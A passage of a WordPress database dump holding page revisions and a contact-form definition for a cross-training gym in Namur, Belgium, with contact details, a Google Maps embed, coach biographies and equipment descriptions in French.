(261, 1, '2013-07-03 20:31:53', '2013-07-03 20:31:53', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;350\&quot; width=\&quot;425\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:31:53', '2013-07-03 20:31:53', '', 9, 'http://www.crosstrainingcenter.be/?p=261', 0, 'revision', '', 0),
(262, 1, '2013-07-03 20:33:29', '2013-07-03 20:33:29', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;\r\n&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe width=\&quot;300\&quot; height=\&quot;300\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot; style=\&quot;color:#0000FF;text-align:left\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:33:29', '2013-07-03 20:33:29', '', 9, 'http://www.crosstrainingcenter.be/?p=262', 0, 'revision', '', 0),
(263, 1, '2013-07-03 20:36:24', '2013-07-03 20:36:24', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\n0485 / 92 . 02 . 12\r\n\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:36:24', '2013-07-03 20:36:24', '', 9, 'http://www.crosstrainingcenter.be/?p=263', 0, 'revision', '', 0),
(264, 1, '2013-07-03 20:37:31', '2013-07-03 20:37:31', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\n0485 / 92 . 02 . 12\r\n\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:37:31', '2013-07-03 20:37:31', '', 9, 'http://www.crosstrainingcenter.be/?p=264', 0, 'revision', '', 0),
(265, 1, '2013-07-03 20:42:29', '2013-07-03 20:42:29', '&lt;p&gt;Votre nom (obligatoire)&lt;br /&gt;\r\n    [text* your-name] &lt;br&gt;\r\nVotre prénom (obligatoire)&lt;br /&gt;\r\n    [text* your-firstname] &lt;br&gt;\r\nVotre email (obligatoire)&lt;br /&gt;\r\n    [email* your-email] &lt;br&gt;\r\nVotre n° de téléphone (obligatoire)&lt;br /&gt;\r\n    [text* your-tel]&lt;br&gt;\r\n[captchac captcha-696]&lt;br&gt;\r\nVeuillez recopier les caractères ci-dessus&lt;br /&gt;\r\n    [captchar captcha-696] &lt;/p&gt;\r\n\r\n&lt;p&gt;[submit \&quot;Contactez moi pour une séance gratuite\&quot;]&lt;/p&gt;\nDemande séance gratuite\n[your-name] &lt;[your-email]&gt;\nDe : [your-name] &lt;[your-email]&gt;\r\nSujet : Demande séance gratuite\r\n\r\nDemande de séance gratuite :\r\n[your-name]\r\n[your-firstname]\r\n[your-email]\r\n[your-tel]\r\n\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\njuliepierrard@hotmail.com\n\n\n\n1\nDemande séance gratuite\n[your-name] &lt;[your-email]&gt;\nDe : [your-name] &lt;[your-email]&gt;\r\nSujet : Demande séance gratuite\r\n\r\nDemande de séance gratuite :\r\n[your-name]\r\n[your-firstname]\r\n[your-email]\r\n[your-tel]\r\n\r\n\r\n--\r\nThis e-mail was sent from a contact form on Cross Training Center (http://www.crosstrainingcenter.be)\nstv@otvr.net\n\n\n\nVotre message a bien été envoyé. Merci.\nErreur lors de l\'envoi du message. Veuillez réessayer plus tard ou contacter l\'administrateur d\'une autre manière.\nErreur de validation. Veuillez vérifier les champs et soumettre à nouveau.\nErreur lors de l\'envoi du message. Veuillez réessayer plus tard ou contacter l\'administrateur d\'une autre manière.\nMerci de bien vouloir accepter les conditions pour continuer.\nVeuillez remplir le champ obligatoire.\nLe code entre est incorrect.\nLe format numérique semble invalide.\nCe nombre est trop petit.\nCe nombre est trop grand.\nL\'adresse email semble invalide.\nL\'URL semble invalide.\nLe numéro de téléphone semble invalide.\nImpossible de télécharger le fichier.\nCe type de fichier n\'est pas autorisé.\nCe fichier est trop volumineux.\nImpossible de télécharger le fichier. Une erreur est survenue.\nVotre réponse est incorrecte.\nLe format de date semble invalide.\nCette date est trop tôt.\nCette date est trop tard.', 'Seance_gratuite', '', 'publish', 'open', 'open', '', 'sans-titre', '', '', '2013-07-04 19:42:34', '2013-07-04 19:42:34', '', 0, 'http://www.crosstrainingcenter.be/?post_type=wpcf7_contact_form&amp;#038;p=265', 0, 'wpcf7_contact_form', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(266, 1, '2013-07-03 20:43:41', '2013-07-03 20:43:41', '&lt;blockquote&gt;\r\n&lt;h1&gt;Envie de vous essayer au cross training?&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nVenez nous rencontrer afin de découvrir le déroulement d\'une séance de cross training.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'publish', 'closed', 'open', '', '266-2', '', '', '2013-11-03 10:12:44', '2013-11-03 10:12:44', '', 0, 'http://www.crosstrainingcenter.be/?page_id=266', 0, 'page', '', 0),
(267, 1, '2013-07-03 20:43:41', '2013-07-03 20:43:41', 'Venez découvrir les bienfaits du cross training lors d\'une première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', '', '', 'inherit', 'open', 'open', '', '266-revision', '', '', '2013-07-03 20:43:41', '2013-07-03 20:43:41', '', 266, 'http://www.crosstrainingcenter.be/?p=267', 0, 'revision', '', 0),
(268, 1, '2013-07-03 20:38:07', '2013-07-03 20:38:07', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de Team Training, Duo Training, Personnal Trainer ou Coatching nutritionnel se font exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-03 20:38:07', '2013-07-03 20:38:07', '', 9, 'http://www.crosstrainingcenter.be/?p=268', 0, 'revision', '', 0),
(269, 1, '2013-07-03 19:59:08', '2013-07-03 19:59:08', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-34', '', '', '2013-07-03 19:59:08', '2013-07-03 19:59:08', '', 20, 'http://www.crosstrainingcenter.be/?p=269', 0, 'revision', '', 0),
(270, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 